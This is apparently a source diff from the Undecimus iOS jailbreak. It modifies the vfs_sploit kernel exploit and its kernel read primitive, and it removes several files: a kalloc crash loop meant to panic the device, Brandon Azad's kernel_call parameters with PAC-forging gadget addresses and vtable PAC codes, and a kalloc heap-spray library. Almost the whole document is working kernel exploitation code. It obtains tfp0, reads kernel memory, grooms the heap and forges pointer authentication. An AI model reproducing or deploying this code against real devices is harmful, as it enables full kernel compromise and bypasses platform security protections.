read(early_read_read_fd, buf, 0xfff);
@@ -394,11 +394,11 @@ static uint32_t early_rk32(uint64_t kaddr)
LOG("pid_for_task returned %x (%s)", err, mach_error_string(err));
}
LOG("read val via pid_for_task: %08x", val);
SafeFreeNULL(buf);
free(buf);
return val;
}
static uint64_t early_rk64(uint64_t kaddr)
uint64_t early_rk64(uint64_t kaddr)
{
uint64_t lower = (uint64_t)early_rk32(kaddr);
uint64_t upper = (uint64_t)early_rk32(kaddr + 4);
@@ -406,21 +406,30 @@ static uint64_t early_rk64(uint64_t kaddr)
return final;
}
void waitFor(int seconds) {
for (int i = 0; i <= seconds; i++) {
LOG("Waiting (%d/%d)", i, seconds);
sleep(1);
}
}
bool vfs_sploit()
{
LOG("empty_list by @i41nbeer");
offsets_init();
start_spinners();
LOG("vfs_sploit");
increase_limits();
size_t kernel_page_size = 0;
host_t host = mach_host_self();
host_page_size(host, &kernel_page_size);
host_page_size(mach_host_self(), &kernel_page_size);
if (kernel_page_size == 0x4000) {
LOG("this device uses 16k kernel pages");
// waitFor(20);
} else if (kernel_page_size == 0x1000) {
LOG("this device uses 4k kernel pages");
// waitFor(45);
} else {
LOG("this device uses an unsupported kernel page size");
return false;
@@ -810,8 +819,8 @@ bool vfs_sploit()
break;
}
}
SafeFreeNULL(old_contents);
SafeFreeNULL(new_contents);
free(old_contents);
free(new_contents);
if (pipe_target_kaddr_replacer_index == -1) {
LOG("failed to find the pipe_target_kaddr_replacer pipe");
}
@@ -830,7 +839,7 @@ bool vfs_sploit()
host_msg.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_MAKE_SEND, MACH_MSG_TYPE_COPY_SEND);
host_msg.msgh_size = sizeof(host_msg);
host_msg.msgh_remote_port = canary_port;
host_msg.msgh_local_port = host;
host_msg.msgh_local_port = mach_host_self();
host_msg.msgh_id = 0x12344321;
err = mach_msg(&host_msg,
@@ -876,7 +885,7 @@ bool vfs_sploit()
uint64_t task_kmsg = early_rk64(canary_port_kaddr + koffset(KSTRUCT_OFFSET_IPC_PORT_IKMQ_BASE));
LOG("task_kmsg: %016llx", task_kmsg);
uint64_t task_port_kaddr = cached_task_self_addr = early_rk64(host_kmsg + 0xac);
uint64_t task_port_kaddr = early_rk64(host_kmsg + 0xac);
LOG("our task port is at %016llx", task_port_kaddr);
@@ -1051,12 +1060,10 @@ bool vfs_sploit()
close(write_ends[i]);
close(read_ends[i]);
}
mach_port_deallocate(mach_task_self(), host);
LOG("done!");
LOG("use the functions in KernelMemory.h to read and write kernel memory");
LOG("use the functions in kmem.h to read and write kernel memory");
LOG("tfp0 in there will stay alive once this process exits");
LOG("keep hold of a send right to it; don't expect this exploit to work again without a reboot");
return true;
+2 -2
View File
@@ -5,7 +5,7 @@
#include <mach/mach.h>
#include "KernelMemory.h"
#include "KernelOffsets.h"
#include "KernelStructureOffsets.h"
#include "KernelUtilities.h"
#include "find_port.h"
#include <common.h>
@@ -228,7 +228,7 @@ uint64_t find_port_via_proc_pidlistuptrs_bug(mach_port_t port, int disposition)
//LOG("best guess is: 0x%016llx with %d%% of the valid guesses for it", best_guess, (best_guess_count*100)/valid_guesses);
SafeFreeNULL(guesses);
free(guesses);
return best_guess;
}
-16
View File
@@ -1,16 +0,0 @@
//
// jailbreak.h
// Undecimus
//
// Created by Pwn20wnd on 5/11/19.
// Copyright © 2019 Pwn20wnd. All rights reserved.
//
#ifndef jailbreak_h
#define jailbreak_h
#include <stdio.h>
void jailbreak(void);
#endif /* jailbreak_h */
File diff suppressed because it is too large Load Diff
-90
View File
@@ -1,90 +0,0 @@
//
// panic.c
// Undecimus
//
// Created by Pwn20wnd on 4/20/19.
// Copyright © 2019 Pwn20wnd. All rights reserved.
//
#include <stdlib.h>
#include <mach/mach.h>
#include <common.h>
#include "kalloc_crash.h"
struct simple_msg
{
mach_msg_header_t hdr;
char buf[0];
};
/* credits to ian beer */
static mach_port_t send_kalloc_message(uint8_t *replacer_message_body, uint32_t replacer_body_size)
{
// allocate a port to send the messages to
mach_port_t q = MACH_PORT_NULL;
kern_return_t err;
err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &q);
if (err != KERN_SUCCESS)
{
printf(" [-] failed to allocate port\n");
exit(EXIT_FAILURE);
}
mach_port_limits_t limits = {0};
limits.mpl_qlimit = MACH_PORT_QLIMIT_LARGE;
err = mach_port_set_attributes(mach_task_self(),
q,
MACH_PORT_LIMITS_INFO,
(mach_port_info_t)&limits,
MACH_PORT_LIMITS_INFO_COUNT);
if (err != KERN_SUCCESS)
{
printf(" [-] failed to increase queue limit\n");
exit(EXIT_FAILURE);
}
mach_msg_size_t msg_size = sizeof(struct simple_msg) + replacer_body_size;
struct simple_msg *msg = malloc(msg_size);
memset(msg, 0, sizeof(struct simple_msg));
memcpy(&msg->buf[0], replacer_message_body, replacer_body_size);
for (int i = 0; i < 256; i++)
{
msg->hdr.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_MAKE_SEND, 0);
msg->hdr.msgh_size = msg_size;
msg->hdr.msgh_remote_port = q;
msg->hdr.msgh_local_port = MACH_PORT_NULL;
msg->hdr.msgh_id = 0x41414142;
err = mach_msg(&msg->hdr,
MACH_SEND_MSG|MACH_MSG_OPTION_NONE,
msg_size,
0,
MACH_PORT_NULL,
MACH_MSG_TIMEOUT_NONE,
MACH_PORT_NULL);
if (err != KERN_SUCCESS)
{
printf(" [-] failed to send message %x (%d): %s\n", err, i, mach_error_string(err));
exit(EXIT_FAILURE);
}
}
return q;
}
static uint32_t message_size_for_kalloc_size(uint32_t size)
{
return ((size * 3) / 4) - 0x74;
}
void do_kalloc_crash() {
for (;;) {
uint32_t body_size = message_size_for_kalloc_size(16384) - sizeof(mach_msg_header_t); // 1024
uint8_t *body = malloc(body_size);
memset(body, 0x41, body_size);
send_kalloc_message(body, body_size);
SafeFreeNULL(body);
}
}
-16
View File
@@ -1,16 +0,0 @@
//
// panic.h
// Undecimus
//
// Created by Pwn20wnd on 4/20/19.
// Copyright © 2019 Pwn20wnd. All rights reserved.
//
#ifndef panic_h
#define panic_h
#include <stdio.h>
void do_kalloc_crash(void);
#endif /* panic_h */
-188
View File
@@ -1,188 +0,0 @@
/*
* kernel_call/kc_parameters.c
* Brandon Azad
*/
#define KERNEL_CALL_PARAMETERS_EXTERN
#include "kc_parameters.h"
#include "kernel_slide.h"
#include "log.h"
#include "platform.h"
#include "platform_match.h"
#include "KernelUtilities.h"
// ---- Initialization routines -------------------------------------------------------------------
// A struct describing an initialization.
struct initialization {
const char *devices;
const char *builds;
void (*init)(void);
};
// Run initializations matching this platform.
static size_t
run_initializations(struct initialization *inits, size_t count) {
size_t match_count = 0;
for (size_t i = 0; i < count; i++) {
struct initialization *init = &inits[i];
if (platform_matches(init->devices, init->builds)) {
init->init();
match_count++;
}
}
return match_count;
}
// A helper macro to get the number of elements in a static array.
#define ARRAY_COUNT(x) (sizeof(x) / sizeof((x)[0]))
// ---- Offset initialization ---------------------------------------------------------------------
static void
offsets__iphone11_8__16C50() {
OFFSET(IOAudio2DeviceUserClient, traps) = 0x118;
SIZE(IOExternalTrap) = 0x18;
OFFSET(IOExternalTrap, object) = 0;
OFFSET(IOExternalTrap, function) = 8;
OFFSET(IOExternalTrap, offset) = 16;
OFFSET(IORegistryEntry, reserved) = 16;
OFFSET(IORegistryEntry__ExpansionData, fRegistryEntryID) = 8;
VTABLE_INDEX(IOUserClient, getExternalTrapForIndex) = 0x5B8 / 8;
VTABLE_INDEX(IOUserClient, getTargetAndTrapForIndex) = 0x5C0 / 8;
}
// A list of offset initializations by platform.
static struct initialization offsets[] = {
{ "*", "*", offsets__iphone11_8__16C50 },
};
// ---- Address initialization --------------------------------------------------------------------
#define SLIDE(address) (address == 0 ? 0 : address + kernel_slide)
static void
addresses__iphone11_2__16A366() {
ADDRESS(paciza_pointer__l2tp_domain_module_start) = getoffset(paciza_pointer__l2tp_domain_module_start);
ADDRESS(paciza_pointer__l2tp_domain_module_stop) = getoffset(paciza_pointer__l2tp_domain_module_stop);
ADDRESS(l2tp_domain_inited) = getoffset(l2tp_domain_inited);
ADDRESS(sysctl__net_ppp_l2tp) = getoffset(sysctl__net_ppp_l2tp);
ADDRESS(sysctl_unregister_oid) = getoffset(sysctl_unregister_oid);
ADDRESS(mov_x0_x4__br_x5) = getoffset(mov_x0_x4__br_x5);
ADDRESS(mov_x9_x0__br_x1) = getoffset(mov_x9_x0__br_x1);
ADDRESS(mov_x10_x3__br_x6) = getoffset(mov_x10_x3__br_x6);
ADDRESS(kernel_forge_pacia_gadget) = getoffset(kernel_forge_pacia_gadget);
ADDRESS(kernel_forge_pacda_gadget) = getoffset(kernel_forge_pacda_gadget);
SIZE(kernel_forge_pacxa_gadget_buffer) = 0x110;
OFFSET(kernel_forge_pacxa_gadget_buffer, first_access) = 0xe8;
OFFSET(kernel_forge_pacxa_gadget_buffer, pacia_result) = 0xf0;
OFFSET(kernel_forge_pacxa_gadget_buffer, pacda_result) = 0xe8;
ADDRESS(IOUserClient__vtable) = getoffset(IOUserClient__vtable);
ADDRESS(IORegistryEntry__getRegistryEntryID) = getoffset(IORegistryEntry__getRegistryEntryID);
}
// A list of address initializations by platform.
static struct initialization addresses[] = {
{ "*", "16A366-16D5024a", addresses__iphone11_2__16A366 },
};
// ---- PAC initialization ------------------------------------------------------------------------
#if __arm64e__
static void
pac__iphone11_8__16C50() {
INIT_VTABLE_PAC_CODES(IOAudio2DeviceUserClient,
0x3771, 0x56b7, 0xbaa2, 0x3607, 0x2e4a, 0x3a87, 0x89a9, 0xfffc,
0xfc74, 0x5635, 0xbe60, 0x32e5, 0x4a6a, 0xedc5, 0x5c68, 0x6a10,
0x7a2a, 0xaf75, 0x137e, 0x0655, 0x43aa, 0x12e9, 0x4578, 0x4275,
0xff53, 0x1814, 0x122e, 0x13f6, 0x1d35, 0xacb1, 0x7eb0, 0x1262,
0x82eb, 0x164e, 0x37a5, 0xb659, 0x6c51, 0xa20f, 0xb3b6, 0x6bcb,
0x5a20, 0x5062, 0x00d7, 0x7c85, 0x8a26, 0x3539, 0x688b, 0x1e60,
0x1955, 0x0689, 0xc256, 0xa383, 0xf021, 0x1f0a, 0xb4bb, 0x8ffc,
0xb5b9, 0x8764, 0x5d96, 0x80d9, 0x0c9c, 0x5d0a, 0xcbcc, 0x617d,
0x848a, 0x2312, 0x3540, 0xc257, 0x3025, 0x9fc2, 0x5038, 0xc666,
0x6cc3, 0x550c, 0xa19a, 0xa51b, 0x4577, 0x573c, 0x1a4e, 0x6c3d,
0xb049, 0xc4b2, 0xc90d, 0x7d59, 0x4897, 0x3c68, 0xb085, 0x4529,
0x639f, 0xccfb, 0x55eb, 0xe933, 0xaec3, 0x5ec5, 0x5219, 0xc6b2,
0x8a43, 0x4a20, 0xd9f2, 0x981a, 0xa27f, 0xc4f9, 0x6b87, 0x60a1,
0x7e78, 0x36aa, 0x86ef, 0x9be9, 0x7318, 0x93b7, 0x638e, 0x61a6,
0x9175, 0x136b, 0xdb58, 0x4a31, 0x0988, 0x5393, 0xabe0, 0x0ad9,
0x6c99, 0xd52d, 0xe213, 0x308f, 0xd78d, 0x3a1d, 0xa390, 0x240b,
0x1b89, 0x8d3c, 0x2652, 0x7f14, 0x0759, 0x63c4, 0x800f, 0x9cc2,
0x02ac, 0x785f, 0xcc6b, 0x82cd, 0x808e, 0x37ce, 0xa4c7, 0xe8de,
0xa343, 0x4bc0, 0xf8a6, 0xac7f, 0x7974, 0xea1b, 0x4b35, 0x9eb4,
0x595a, 0x5b2b, 0x699e, 0x2b52, 0xf40e, 0x0ddb, 0x0f88, 0x8700,
0x36c3, 0x058e, 0xf16e, 0x3a71, 0xda1e, 0x10b6, 0x8654, 0xb352,
0xa03f, 0xbde5, 0x5cf5, 0x18b8, 0xea14, 0x3e51, 0xbcef, 0xfd2b,
0xc1ba, 0x02d4, 0xee4f, 0x3565, 0xb50c, 0xbdaa, 0xbc5e, 0xea23,
0x2bcb);
INIT_VTABLE_PAC_CODES(IODTNVRAM,
0x3771, 0x56b7, 0xbaa2, 0x3607, 0x2e4a, 0x3a87, 0x89a9, 0xfffc,
0xfc74, 0x5635, 0xbe60, 0x32e5, 0x4a6a, 0xedc5, 0x5c68, 0x6a10,
0x7a2a, 0xaf75, 0x137e, 0x0655, 0x43aa, 0x12e9, 0x4578, 0x4275,
0xff53, 0x1814, 0x122e, 0x13f6, 0x1d35, 0xacb1, 0x7eb0, 0x1262,
0x82eb, 0x164e, 0x37a5, 0xb659, 0x6c51, 0xa20f, 0xb3b6, 0x6bcb,
0x5a20, 0x5062, 0x00d7, 0x7c85, 0x8a26, 0x3539, 0x688b, 0x1e60,
0x1955, 0x0689, 0xc256, 0xa383, 0xf021, 0x1f0a, 0xb4bb, 0x8ffc,
0xb5b9, 0x8764, 0x5d96, 0x80d9, 0x0c9c, 0x5d0a, 0xcbcc, 0x617d,
0x848a, 0x2312, 0x3540, 0xc257, 0x3025, 0x9fc2, 0x5038, 0xc666,
0x6cc3, 0x550c, 0xa19a, 0xa51b, 0x4577, 0x573c, 0x1a4e, 0x6c3d,
0xb049, 0xc4b2, 0xc90d, 0x7d59, 0x4897, 0x3c68, 0xb085, 0x4529,
0x639f, 0xccfb, 0x55eb, 0xe933, 0xaec3, 0x5ec5, 0x5219, 0xc6b2,
0x8a43, 0x4a20, 0xd9f2, 0x981a, 0xa27f, 0xc4f9, 0x6b87, 0x60a1,
0x7e78, 0x36aa, 0x86ef, 0x9be9, 0x7318, 0x93b7, 0x638e, 0x61a6,
0x9175, 0x136b, 0xdb58, 0x4a31, 0x0988, 0x5393, 0xabe0, 0x0ad9,
0x6c99, 0xd52d, 0xe213, 0x308f, 0xd78d, 0x3a1d, 0xa390, 0x240b,
0x1b89, 0x8d3c, 0x2652, 0x7f14, 0x0759, 0x63c4, 0x800f, 0x9cc2,
0x02ac, 0x785f, 0xcc6b, 0x82cd, 0x808e, 0x37ce, 0xa4c7, 0xe8de,
0xa343, 0x4bc0, 0xf8a6, 0xac7f, 0x7974, 0xea1b, 0x4b35, 0x9eb4,
0x595a, 0x5b2b, 0x699e, 0x2b52, 0xf40e, 0x0ddb, 0x0f88, 0x8700,
0x36c3, 0x058e, 0xf16e, 0x3a71, 0xda1e, 0x10b6, 0x8654, 0xb428,
0xbd46, 0xe5f5, 0x61a4, 0xdb15, 0x414e, 0xebdb, 0x5599, 0x4584,
0x4909, 0x003b, 0xafd8, 0xf53e, 0xfbd7, 0xcf34, 0x14d5, 0xb201,
0x3e63, 0x110c, 0x7ed3, 0x6731, 0x7a38, 0xd4c7, 0xa3bc, 0xc7b7,
0xb1db, 0x7d35, 0xb06d, 0xcf08);
}
// A list of PAC initializations by platform.
static struct initialization pac_codes[] = {
{ "*", "*", pac__iphone11_8__16C50 },
};
#endif // __arm64e__
// ---- Public API --------------------------------------------------------------------------------
bool
kernel_call_parameters_init() {
bool ok = kernel_slide_init();
if (!ok) {
return false;
}
size_t count = run_initializations(offsets, ARRAY_COUNT(offsets));
if (count < 1) {
ERROR("no kernel_call %s for %s %s", "offsets",
platform.machine, platform.osversion);
return false;
}
count = run_initializations(addresses, ARRAY_COUNT(addresses));
if (count < 1) {
ERROR("no kernel_call %s for %s %s", "addresses",
platform.machine, platform.osversion);
return false;
}
#if __arm64e__
count = run_initializations(pac_codes, ARRAY_COUNT(pac_codes));
if (count < 1) {
ERROR("no kernel_call %s for %s %s", "PAC codes",
platform.machine, platform.osversion);
return false;
}
#endif // __arm64e__
return true;
}
-92
View File
@@ -1,92 +0,0 @@
/*
* kernel_call/kc_parameters.h
* Brandon Azad
*/
#ifndef VOUCHER_SWAP__KERNEL_CALL__KC_PARAMETERS_H_
#define VOUCHER_SWAP__KERNEL_CALL__KC_PARAMETERS_H_
#include <stdbool.h>
#include <stddef.h>
#include <stdint.h>
#include "parameters.h"
#ifdef KERNEL_CALL_PARAMETERS_EXTERN
#define extern KERNEL_CALL_PARAMETERS_EXTERN
#endif
// A structure describing the PAC codes used as part of the context for signing and verifying
// virtual method pointers in a vtable.
struct vtable_pac_codes {
size_t count;
const uint16_t *codes;
};
// Generate the name for an offset in a virtual method table.
#define VTABLE_INDEX(class_, method_) _##class_##_##method_##__vtable_index_
// Generate the name for a list of vtable PAC codes.
#define VTABLE_PAC_CODES(class_) _##class_##__vtable_pac_codes_
// A helper macro for INIT_VTABLE_PAC_CODES().
#define VTABLE_PAC_CODES_DATA(class_) _##class_##__vtable_pac_codes_data_
// Initialize a list of vtable PAC codes. In order to store the PAC code array in constant memory,
// we place it in a static variable. Consequently, this macro will produce name conflicts if used
// outside a function.
#define INIT_VTABLE_PAC_CODES(class_, ...) \
static const uint16_t VTABLE_PAC_CODES_DATA(class_)[] = { __VA_ARGS__ }; \
VTABLE_PAC_CODES(class_) = (struct vtable_pac_codes) { \
.count = sizeof(VTABLE_PAC_CODES_DATA(class_)) / sizeof(uint16_t), \
.codes = (const uint16_t *) VTABLE_PAC_CODES_DATA(class_), \
}
extern uint64_t ADDRESS(paciza_pointer__l2tp_domain_module_start);
extern uint64_t ADDRESS(paciza_pointer__l2tp_domain_module_stop);
extern uint64_t ADDRESS(l2tp_domain_inited);
extern uint64_t ADDRESS(sysctl__net_ppp_l2tp);
extern uint64_t ADDRESS(sysctl_unregister_oid);
extern uint64_t ADDRESS(mov_x0_x4__br_x5);
extern uint64_t ADDRESS(mov_x9_x0__br_x1);
extern uint64_t ADDRESS(mov_x10_x3__br_x6);
extern uint64_t ADDRESS(kernel_forge_pacia_gadget);
extern uint64_t ADDRESS(kernel_forge_pacda_gadget);
extern uint64_t ADDRESS(IOUserClient__vtable);
extern uint64_t ADDRESS(IORegistryEntry__getRegistryEntryID);
extern size_t SIZE(kernel_forge_pacxa_gadget_buffer);
extern size_t OFFSET(kernel_forge_pacxa_gadget_buffer, first_access);
extern size_t OFFSET(kernel_forge_pacxa_gadget_buffer, pacia_result);
extern size_t OFFSET(kernel_forge_pacxa_gadget_buffer, pacda_result);
extern struct vtable_pac_codes VTABLE_PAC_CODES(IOAudio2DeviceUserClient);
extern struct vtable_pac_codes VTABLE_PAC_CODES(IODTNVRAM);
// Parameters for IOAudio2DeviceUserClient.
extern size_t OFFSET(IOAudio2DeviceUserClient, traps);
// Parameters for IOExternalTrap.
extern size_t SIZE(IOExternalTrap);
extern size_t OFFSET(IOExternalTrap, object);
extern size_t OFFSET(IOExternalTrap, function);
extern size_t OFFSET(IOExternalTrap, offset);
// Parameters for IORegistryEntry.
extern size_t OFFSET(IORegistryEntry, reserved);
extern size_t OFFSET(IORegistryEntry__ExpansionData, fRegistryEntryID);
// Parameters for IOUserClient.
extern uint32_t VTABLE_INDEX(IOUserClient, getExternalTrapForIndex);
extern uint32_t VTABLE_INDEX(IOUserClient, getTargetAndTrapForIndex);
/*
* kernel_call_parameters_init
*
* Description:
* Initialize the addresses used in the kernel_call subsystem.
*/
bool kernel_call_parameters_init(void);
#undef extern
#endif
-597
View File
@@ -1,597 +0,0 @@
/*
* kernel_alloc.c
* Brandon Azad
*/
#include "kernel_alloc.h"
#include <assert.h>
#include <fcntl.h>
#include <pthread.h>
#include <stdlib.h>
#include <unistd.h>
#include <CoreFoundation/CoreFoundation.h>
#include "log.h"
#include "parameters.h"
#include "platform.h"
#include "common.h"
// Compute the minimum of 2 values.
#define min(a, b) ((a) < (b) ? (a) : (b))
size_t
message_size_for_kalloc_size(size_t kalloc_size) {
if (kalloc_size <= kmsg_zone_size) {
return 0;
}
// Thanks Ian!
return ((3 * kalloc_size) / 4) - 0x74;
}
size_t
kalloc_size_for_message_size(size_t message_size) {
if (message_size <= message_size_for_kmsg_zone) {
return 0;
}
return message_size + ((message_size - 28) / 12) * 4 + 164;
}
size_t
ipc_kmsg_size_for_message_size(size_t message_size) {
if (message_size <= message_size_for_kmsg_zone) {
return kmsg_zone_size;
}
return kalloc_size_for_message_size(message_size);
}
// A message containing out-of-line ports.
struct ool_ports_msg {
mach_msg_header_t header;
mach_msg_body_t body;
mach_msg_ool_ports_descriptor_t ool_ports[0];
};
size_t
ool_ports_spray_port(mach_port_t holding_port,
const mach_port_t *ool_ports, size_t port_count,
mach_msg_type_name_t ool_disposition, size_t ool_count,
size_t message_size, size_t message_count) {
// Calculate the size of each component.
struct ool_ports_msg *msg;
// Sanity checks.
assert(sizeof(*msg) + ool_count * sizeof(msg->ool_ports[0]) <= message_size);
assert(port_count * ool_count <= max_ool_ports_per_message);
assert(message_count <= MACH_PORT_QLIMIT_MAX);
// Allocate a message containing the required number of OOL ports descriptors.
msg = calloc(1, message_size);
assert(msg != NULL);
// Trace the kalloc allocations we're about to perform.
DEBUG_TRACE(2, "%s: %zu * kalloc(%zu) + %zu * kalloc(%zu)", __func__,
ool_count * message_count, port_count * sizeof(uint64_t),
message_count, kalloc_size_for_message_size(message_size));
// If the user didn't supply any ool_ports, create our own.
mach_port_t *alloc_ports = NULL;
if (ool_ports == NULL) {
alloc_ports = calloc(port_count, sizeof(mach_port_t));
assert(alloc_ports != NULL);
ool_ports = alloc_ports;
}
// Populate the message. Each OOL ports descriptor will be a kalloc.
msg->header.msgh_bits = MACH_MSGH_BITS_SET(MACH_MSG_TYPE_MAKE_SEND, 0, 0, MACH_MSGH_BITS_COMPLEX);
msg->header.msgh_remote_port = holding_port;
msg->header.msgh_size = (mach_msg_size_t) message_size;
msg->header.msgh_id = 'ools';
msg->body.msgh_descriptor_count = (mach_msg_size_t) ool_count;
mach_msg_ool_ports_descriptor_t ool_descriptor = {};
ool_descriptor.type = MACH_MSG_OOL_PORTS_DESCRIPTOR;
ool_descriptor.address = (void *) ool_ports;
ool_descriptor.count = (mach_msg_size_t) port_count;
ool_descriptor.deallocate = FALSE;
ool_descriptor.copy = MACH_MSG_PHYSICAL_COPY;
ool_descriptor.disposition = ool_disposition;
for (size_t i = 0; i < ool_count; i++) {
msg->ool_ports[i] = ool_descriptor;
}
// Send the messages.
size_t messages_sent = 0;
for (; messages_sent < message_count; messages_sent++) {
kern_return_t kr = mach_msg(
&msg->header,
MACH_SEND_MSG | MACH_MSG_OPTION_NONE,
(mach_msg_size_t) message_size,
0,
MACH_PORT_NULL,
MACH_MSG_TIMEOUT_NONE,
MACH_PORT_NULL);
if (kr != KERN_SUCCESS) {
ERROR("%s returned %d: %s", "mach_msg", kr, mach_error_string(kr));
break;
}
}
// Clean up the allocated ports.
SafeFreeNULL(alloc_ports);
// Return the number of messages we sent.
return messages_sent;
}
/*
* kalloc_spray_compute_message_shape
*
* Description:
* Compute the shape of a message to maximally spray the specified kalloc zone. This spray is
* good for consuming memory, not for overwriting memory with specific contents.
*/
static void
kalloc_spray_compute_message_shape(size_t kalloc_min, size_t kalloc_zone,
size_t *message_size, size_t *ools_per_message, size_t *ports_per_ool) {
assert(kmsg_zone_size < kalloc_min);
assert(kalloc_min <= kalloc_zone);
// We always want to maximize the number of OOL port kalloc allocations per message, so let
// the message take up the a full zone element if needed.
size_t max_message_size = message_size_for_kalloc_size(kalloc_zone);
// Since we can send a maximum of max_ool_ports_per_message OOL ports in a single message,
// we always want to send the minimum number of OOL ports in each descriptor (since adding
// more ports in a descriptor only counts against the limit without increasing the number
// of allocations). Thus, use the smallest number of ports that gets us at least
// kalloc_min.
size_t ports_per_ool_ = (kalloc_min + sizeof(uint64_t) - 1) / sizeof(uint64_t);
// How many OOL ports descriptors can we send per message? As many as we'd like, as long
// as:
// 1. we have space for them in the message, and
// 2. we don't blow through the max_ool_ports_per_message limit.
size_t max_ools_by_message_size =
(max_message_size - sizeof(mach_msg_base_t))
/ sizeof(mach_msg_ool_ports_descriptor_t);
size_t max_ools_by_port_limit = max_ool_ports_per_message / ports_per_ool_;
size_t ools_per_message_ = min(max_ools_by_message_size, max_ools_by_port_limit);
// Now that we know how many OOL ports descriptors we can send per message, let's calculate
// the message size. If the message size is too small, we'll just round it up.
size_t message_size_ = sizeof(mach_msg_base_t)
+ ools_per_message_ * sizeof(mach_msg_ool_ports_descriptor_t);
assert(kalloc_size_for_message_size(message_size_) <= kalloc_zone);
if (kalloc_size_for_message_size(message_size_) < kalloc_min) {
size_t kalloc_min_rounded = (kalloc_min + 15) & ~15;
message_size_ = (message_size_for_kalloc_size(kalloc_min_rounded) + 3) & ~3;
}
assert(kalloc_min <= kalloc_size_for_message_size(message_size_));
assert(kalloc_size_for_message_size(message_size_) <= kalloc_zone);
// Return the values.
*message_size = message_size_;
*ools_per_message = ools_per_message_;
*ports_per_ool = ports_per_ool_;
}
size_t
kalloc_spray_port(mach_port_t holding_port, size_t min_kalloc_size, size_t kalloc_zone,
size_t kalloc_count) {
// First compute the message shape for spraying the specified zone.
size_t message_size, ools_per_message, ports_per_ool;
kalloc_spray_compute_message_shape(min_kalloc_size, kalloc_zone,
&message_size, &ools_per_message, &ports_per_ool);
assert(min_kalloc_size <= kalloc_size_for_message_size(message_size));
assert(kalloc_size_for_message_size(message_size) <= kalloc_zone);
assert(min_kalloc_size <= ports_per_ool * sizeof(uint64_t));
assert(ports_per_ool * sizeof(uint64_t) <= kalloc_zone);
assert(sizeof(mach_msg_base_t) + ools_per_message * sizeof(mach_msg_ool_ports_descriptor_t) <= message_size);
// How many allocations does each message we send give us? Well, there's 1 allocation for
// the message and 1 allocation for each OOL ports descriptor.
size_t kallocs_per_message = 1 + ools_per_message;
// How many full/partial messages will we need to spray kalloc_count allocations? If the
// number of full messages is greater than the queue limit, truncate to that many messages.
size_t full_message_count = kalloc_count / kallocs_per_message;
size_t partial_message_kalloc_count = kalloc_count % kallocs_per_message;
if (full_message_count >= MACH_PORT_QLIMIT_MAX) {
full_message_count = MACH_PORT_QLIMIT_MAX;
partial_message_kalloc_count = 0;
}
// Alright, so now we have all the parameters we need. Spray all the full messages to the
// port.
DEBUG_TRACE(2, "%s: %zu full messages, %zu descriptors per message, "
"%zu ports per descriptor, %zu kallocs (%zu bytes) per message",
__func__, full_message_count, ools_per_message, ports_per_ool,
kallocs_per_message, kallocs_per_message * kalloc_zone);
size_t full_messages_sent = ool_ports_spray_port(
holding_port,
NULL,
ports_per_ool,
MACH_MSG_TYPE_MAKE_SEND,
ools_per_message,
message_size,
full_message_count);
size_t full_messages_kallocs = full_messages_sent * kallocs_per_message;
// If we sent all the full messages (indicating no errors were encountered) and we also
// want to send a partial message, send that.
size_t partial_message_kallocs = 0;
if (full_messages_sent == full_message_count && partial_message_kalloc_count > 0) {
size_t partial_message_ools = partial_message_kalloc_count - 1;
size_t partial_messages_sent = ool_ports_spray_port(
holding_port,
NULL,
ports_per_ool,
MACH_MSG_TYPE_MAKE_SEND,
partial_message_ools,
message_size,
1);
partial_message_kallocs = partial_messages_sent * partial_message_kalloc_count;
}
// Finally, return the total number of kallocs stashed in our port.
assert(full_messages_kallocs + partial_message_kallocs <= kalloc_count);
return full_messages_kallocs + partial_message_kallocs;
}
size_t
kalloc_spray_size(mach_port_t *holding_ports, size_t *port_count,
size_t min_kalloc_size, size_t kalloc_zone, size_t spray_size) {
size_t kallocs_needed = (spray_size + kalloc_zone - 1) / kalloc_zone;
size_t count = *port_count;
// Spray to each of the ports in turn.
size_t kallocs_left = kallocs_needed;
size_t ports_used = 0;
for (; ports_used < count && kallocs_left > 0; ports_used++) {
size_t kallocs_done = kalloc_spray_port(holding_ports[ports_used],
min_kalloc_size, kalloc_zone, kallocs_left);
assert(kallocs_done <= kallocs_left);
kallocs_left -= kallocs_done;
}
// Compute how many kallocs were actually performed.
size_t kallocs_done = kallocs_needed - kallocs_left;
if (kallocs_left > 0) {
WARNING("failed to spray %zu * kalloc(%zu)", kallocs_left, kalloc_zone);
}
// Return the number of ports actually used and the number of bytes actually sprayed.
*port_count = ports_used;
return kallocs_done * kalloc_zone;
}
mach_port_t *
create_ports(size_t count) {
mach_port_t *ports = calloc(count, sizeof(*ports));
assert(ports != NULL);
mach_port_options_t options = {};
for (size_t i = 0; i < count; i++) {
kern_return_t kr = mach_port_construct(mach_task_self(), &options, 0, &ports[i]);
assert(kr == KERN_SUCCESS);
}
return ports;
}
void
destroy_ports(mach_port_t *ports, size_t count) {
for (size_t i = 0; i < count; i++) {
mach_port_t port = ports[i];
if (MACH_PORT_VALID(port)) {
kern_return_t kr = mach_port_destroy(mach_task_self(), port);
if (kr != KERN_SUCCESS) {
ERROR("%s returned %d: %s", "mach_port_destroy",
kr, mach_error_string(kr));
}
}
ports[i] = MACH_PORT_DEAD;
}
}
void
deallocate_ports(mach_port_t *ports, size_t count) {
for (size_t i = 0; i < count; i++) {
mach_port_t port = ports[i];
if (MACH_PORT_VALID(port)) {
kern_return_t kr = mach_port_deallocate(mach_task_self(), port);
if (kr != KERN_SUCCESS) {
ERROR("%s returned %d: %s", "mach_port_deallocate",
kr, mach_error_string(kr));
}
}
ports[i] = MACH_PORT_DEAD;
}
}
void
port_increase_queue_limit(mach_port_t port) {
mach_port_limits_t limits = { .mpl_qlimit = MACH_PORT_QLIMIT_MAX };
kern_return_t kr = mach_port_set_attributes(
mach_task_self(),
port,
MACH_PORT_LIMITS_INFO,
(mach_port_info_t) &limits,
MACH_PORT_LIMITS_INFO_COUNT);
assert(kr == KERN_SUCCESS);
}
void
port_insert_send_right(mach_port_t port) {
kern_return_t kr = mach_port_insert_right(mach_task_self(), port, port,
MACH_MSG_TYPE_MAKE_SEND);
assert(kr == KERN_SUCCESS);
}
/*
* ool_ports_spray_size_with_gc_compute_parameters
*
* Description:
* Compute the spray parameters for ool_ports_spray_size_with_gc().
*/
static void
ool_ports_spray_size_with_gc_compute_parameters(
size_t ports_per_ool, size_t message_size, size_t spray_size,
size_t *ool_size, size_t *ools_per_message, size_t *ools_needed) {
// Each message will contain no more than gc_step bytes of OOL ports.
